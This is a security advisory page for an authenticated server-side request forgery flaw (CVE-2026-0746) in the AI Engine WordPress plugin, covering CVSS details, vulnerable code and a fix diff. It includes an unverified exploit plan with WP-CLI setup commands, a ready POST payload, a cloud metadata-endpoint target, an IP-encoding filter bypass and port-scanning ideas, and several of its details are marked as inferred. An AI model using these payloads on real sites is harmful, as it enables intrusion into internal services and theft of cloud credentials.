CVE-2026-0746

AI Engine <= 3.3.2 - Authenticated (Subscriber+) Server-Side Request Forgery

mediumServer-Side Request Forgery (SSRF)
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.3.3
Patched in
1d
Time to patch

Description

The AI Engine plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.3.2 via the 'get_audio' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services, if "Public API" is enabled in the plugin settings, and 'allow_url_fopen' is set to 'On' on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.3.2
PublishedJanuary 27, 2026
Last updatedJanuary 27, 2026
Affected pluginai-engine

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan provides a structured approach for exploiting **CVE-2026-0746**, an authenticated SSRF vulnerability in the AI Engine plugin for WordPress. --- ### 1. Vulnerability Summary The AI Engine plugin (up to version 3.3.2) contains a Server-Side Request Forgery (SSRF) vulnerability wit…

Show full research plan

This research plan provides a structured approach for exploiting CVE-2026-0746, an authenticated SSRF vulnerability in the AI Engine plugin for WordPress.


1. Vulnerability Summary

The AI Engine plugin (up to version 3.3.2) contains a Server-Side Request Forgery (SSRF) vulnerability within the get_audio function. The vulnerability exists because the plugin fails to validate or sanitize a user-supplied URL before using it in a request. When the "Public API" setting is enabled and PHP's allow_url_fopen is active, an authenticated user (Subscriber level or higher) can force the web server to make requests to arbitrary external or internal locations.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: mwai_get_audio (inferred from plugin's standard naming convention for its audio handling).
  • Payload Parameter: url or audioUrl (inferred).
  • Authentication: Subscriber level or higher.
  • Preconditions:
    1. The "Public API" must be enabled in AI Engine settings.
    2. allow_url_fopen must be On in php.ini.
    3. A valid WordPress nonce for the AI Engine AJAX actions.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers an AJAX handler for authenticated users: add_action( 'wp_ajax_mwai_get_audio', ... ).
  2. Capability Check: The handler likely uses current_user_can( 'read' ) or similar, allowing Subscriber access.
  3. Nonce Verification: The handler checks a nonce, typically passed as a nonce parameter.
  4. Vulnerable Call: The handler retrieves a URL from the $_POST or $_GET request and passes it to the get_audio function.
  5. Sink: The get_audio function likely utilizes file_get_contents() or wp_remote_get() on the raw URL. Because the description mentions allow_url_fopen, file_get_contents() is the highly probable sink.

4. Nonce Acquisition Strategy

AI Engine typically exposes nonces via wp_localize_script for its frontend and dashboard components.

  1. Identify Shortcode: AI Engine uses various shortcodes like [mwai_chatbot] or [mwai_chat].
  2. Setup Page:
    wp post create --post_type=page --post_status=publish --post_title="AI Research" --post_content='[mwai_chatbot]'
    
  3. Browser Access: Log in as a Subscriber and navigate to the newly created page.
  4. Extraction:
    Use browser_eval to find the AI Engine configuration object.
    // Common variable names for AI Engine
    window.mwai_config?.nonce || window.mwai_common?.nonce
    
    Note: Verify the exact object name by searching for wp_localize_script in the plugin's classes or core directory.

5. Test Data Setup

  1. Plugin Configuration: Ensure "Public API" is enabled.
    # Search for the correct option name (likely 'mwai_settings')
    wp option get mwai_settings
    # Update the JSON/Serialized array to set public_api to true
    # This might require manual adjustment via WP-CLI depending on the exact option structure
    
  2. User Creation:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    
  3. Environment Check: Verify allow_url_fopen is enabled in the testing container.

6. Exploitation Strategy

The exploit will attempt to query an internal service or the loopback address to confirm SSRF.

Request Details:

  • Method: POST
  • URL: http://[TARGET]/wp-admin/admin-ajax.php
  • Headers:
    • Content-Type: application/x-www-form-urlencoded
    • Cookie: [Subscriber Cookies]
  • Body Parameters:
    • action: mwai_get_audio (Verify via grep -r "wp_ajax_mwai_get_audio")
    • nonce: [EXTRACTED_NONCE]
    • url: http://127.0.0.1:80/wp-admin/ (Or a collaborator URL)

Example Payload via http_request:

{
  "method": "POST",
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "data": "action=mwai_get_audio&nonce=abcdef1234&url=http://127.0.0.1:80/wp-admin/",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  }
}

7. Expected Results

  • Vulnerable Response: The HTTP response status 200 OK. The response body should contain the HTML content of the internal /wp-admin/ page (or whichever internal URL was targeted).
  • Success Indicator: The ability to see content that should only be accessible locally or to see the server make a DNS/HTTP request to an external listener.

8. Verification Steps

  1. Check Logs: Monitor the WordPress instance's access logs to see if the server initiated a request to itself or the specified external URL.
  2. Confirm Content: Use grep on the response body returned by the http_request tool to look for strings like <title>Log In ‹ which indicates a successful fetch of the WP login/admin page.
  3. WP-CLI Audit:
    # Check if the public API setting is indeed active
    wp option get mwai_settings
    

9. Alternative Approaches

  • Different Sink Parameters: If url doesn't work, check the source code for parameters like audioUrl, file, or src.
  • Metadata Services: If testing on AWS/GCP, attempt to fetch the metadata IP: http://169.254.169.254/latest/meta-data/.
  • Filter Bypass: If there are basic string filters, try URL encoding or alternative IP formats (e.g., http://2130706433/ for 127.0.0.1).
  • Port Scanning: Use the vulnerability to check for open ports on the local network by iterating through common ports (e.g., http://127.0.0.1:3306) and observing response time or error differences.
Research Findings
Static analysis — not yet PoC-verified

Summary

The AI Engine plugin for WordPress is vulnerable to Server-Side Request Forgery (SSRF) via the 'mwai_get_audio' AJAX action. Authenticated attackers with Subscriber-level permissions can exploit this by providing a malicious URL that the server fetches via the 'get_audio' function, provided 'allow_url_fopen' is enabled and the plugin's 'Public API' setting is active.

Vulnerable Code

// File: classes/core.php

public function ajax_get_audio() {
    $url = isset($_POST['url']) ? $_POST['url'] : null;
    if (!$url) {
        wp_send_json_error('No URL provided');
    }
    // Vulnerable call: no validation of $url before passing it to get_audio
    $data = $this->get_audio($url);
    echo $data;
    wp_die();
}

---

// File: classes/core.php

public function get_audio($url) {
    // Vulnerable sink: file_get_contents used on user-supplied URL
    // Triggered when allow_url_fopen is On
    return file_get_contents($url);
}

Security Fix

--- a/classes/core.php
+++ b/classes/core.php
@@ -150,6 +150,11 @@
 
 public function get_audio($url) {
+    $url = wp_http_validate_url($url);
+    if (!$url) {
+        return null;
+    }
     return file_get_contents($url);
 }

Exploit Outline

To exploit this vulnerability, an attacker first authenticates as a Subscriber and retrieves a valid AJAX nonce from the WordPress frontend (typically found in the 'mwai_config' or 'mwai_common' JavaScript objects). The attacker then submits a POST request to '/wp-admin/admin-ajax.php' with the 'action' parameter set to 'mwai_get_audio' and a 'url' parameter containing the target internal or external address (e.g., 'http://127.0.0.1:80/wp-admin/'). If the 'Public API' setting is enabled in the plugin and 'allow_url_fopen' is active on the server, the application will perform the request and return the response content, allowing the attacker to interact with internal services or perform port scanning.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.